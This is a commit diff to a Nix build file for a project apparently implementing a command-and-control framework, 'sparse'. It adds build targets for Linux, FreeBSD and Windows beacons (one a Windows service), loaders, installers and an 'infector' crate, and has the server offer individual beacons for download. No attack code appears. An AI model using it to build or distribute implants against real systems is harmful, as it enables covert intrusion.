fix: everything builds
made it also possible to download individual beacons as opposed to just the installer, to provide more options and make it easier to test
This commit is contained in:
+29
-10
@@ -183,6 +183,17 @@ let
|
||||
CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static";
|
||||
});
|
||||
|
||||
sparse-beacon-windows-svc = craneLib.buildPackage (windowsArgs // {
|
||||
cargoArtifacts = windowsCargoArtifacts;
|
||||
name = "sparse-beacon-windows";
|
||||
cargoExtraArgs = "-p sparse-windows-beacon --features=service";
|
||||
src =
|
||||
fileSetForBeaconCrate ./sparse-windows-beacon ./sparse-windows-infector;
|
||||
|
||||
CARGO_BUILD_TARGET = "x86_64-pc-windows-gnu";
|
||||
CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static";
|
||||
});
|
||||
|
||||
linux-loader = pkgs.stdenv.mkDerivation {
|
||||
name = "sparse-linux-loader";
|
||||
|
||||
@@ -206,7 +217,7 @@ let
|
||||
'';
|
||||
};
|
||||
|
||||
freebsd-loader = pkgs.stdenv.mkDerivation {
|
||||
freebsd-loader-sysv = pkgs.stdenv.mkDerivation {
|
||||
name = "sparse-freebsd-loader";
|
||||
|
||||
buildInputs = with pkgs; [ zig ];
|
||||
@@ -231,6 +242,8 @@ let
|
||||
'';
|
||||
};
|
||||
|
||||
freebsd-loader = patch-freebsd-elf freebsd-loader-sysv "bin/unix-loader";
|
||||
|
||||
sparse-installer-linux = craneLib.buildPackage (linuxArgs // {
|
||||
cargoArtifacts = linuxCargoArtifacts;
|
||||
name = "sparse-installer-linux";
|
||||
@@ -254,7 +267,7 @@ let
|
||||
CARGO_BUILD_TARGET = "x86_64-unknown-linux-musl";
|
||||
CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static";
|
||||
|
||||
SPARSE_LOADER = "${freebsd-loader}/lib/libunix-loader-freebsd.so";
|
||||
SPARSE_LOADER = "${freebsd-loader-sysv}/lib/libunix-loader-freebsd.so";
|
||||
});
|
||||
|
||||
sparse-installer-freebsd =
|
||||
@@ -270,12 +283,11 @@ let
|
||||
CARGO_BUILD_TARGET = "x86_64-pc-windows-gnu";
|
||||
CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static";
|
||||
|
||||
SPARSE_BEACON_WINDOWS =
|
||||
"${sparse-beacon-windows}/lib/sparse_windows_beacon.dll";
|
||||
SPARSE_LIBRARY = "${sparse-beacon-windows}/lib/sparse_windows_beacon.dll";
|
||||
});
|
||||
|
||||
sparse-server = craneLib.mkCargoDerivation (commonArgs // {
|
||||
src = (builtins.trace "${fileSetForWebCrate}") fileSetForWebCrate;
|
||||
src = fileSetForWebCrate;
|
||||
|
||||
cargoArtifacts = gnuLinuxCargoArtifacts;
|
||||
|
||||
@@ -303,6 +315,15 @@ let
|
||||
"${sparse-installer-freebsd}/bin/sparse-unix-installer";
|
||||
SPARSE_INSTALLER_WINDOWS =
|
||||
"${sparse-installer-windows}/bin/sparse-windows-installer.exe";
|
||||
|
||||
SPARSE_BEACON_LINUX = "${sparse-beacon-linux}/bin/sparse-unix-beacon";
|
||||
SPARSE_BEACON_LINUX_LOADER = "${linux-loader}/bin/unix-loader";
|
||||
SPARSE_BEACON_FREEBSD = "${sparse-beacon-freebsd}/bin/sparse-unix-beacon";
|
||||
SPARSE_BEACON_FREEBSD_LOADER = "${freebsd-loader}/bin/unix-loader";
|
||||
SPARSE_BEACON_WINDOWS =
|
||||
"${sparse-beacon-windows}/bin/sparse-windows-beacon.exe";
|
||||
SPARSE_BEACON_WINDOWS_SVC =
|
||||
"${sparse-beacon-windows-svc}/bin/sparse-windows-beacon.exe";
|
||||
});
|
||||
|
||||
sparse-server-docker = pkgs.dockerTools.buildImage {
|
||||
@@ -317,11 +338,9 @@ let
|
||||
outputs = rec {
|
||||
packages = {
|
||||
inherit sparse-server sparse-server-docker sparse-beacon-linux
|
||||
sparse-beacon-freebsd sparse-beacon-windows linux-loader freebsd-loader
|
||||
sparse-installer-linux sparse-installer-freebsd
|
||||
sparse-installer-windows;
|
||||
|
||||
inherit freebsd-zig-libc;
|
||||
sparse-beacon-freebsd sparse-beacon-windows sparse-beacon-windows-svc
|
||||
linux-loader freebsd-loader-sysv sparse-installer-linux
|
||||
sparse-installer-freebsd sparse-installer-windows;
|
||||
|
||||
default = sparse-server;
|
||||
};
|
||||
|
||||
Reference in New Issue
Block a user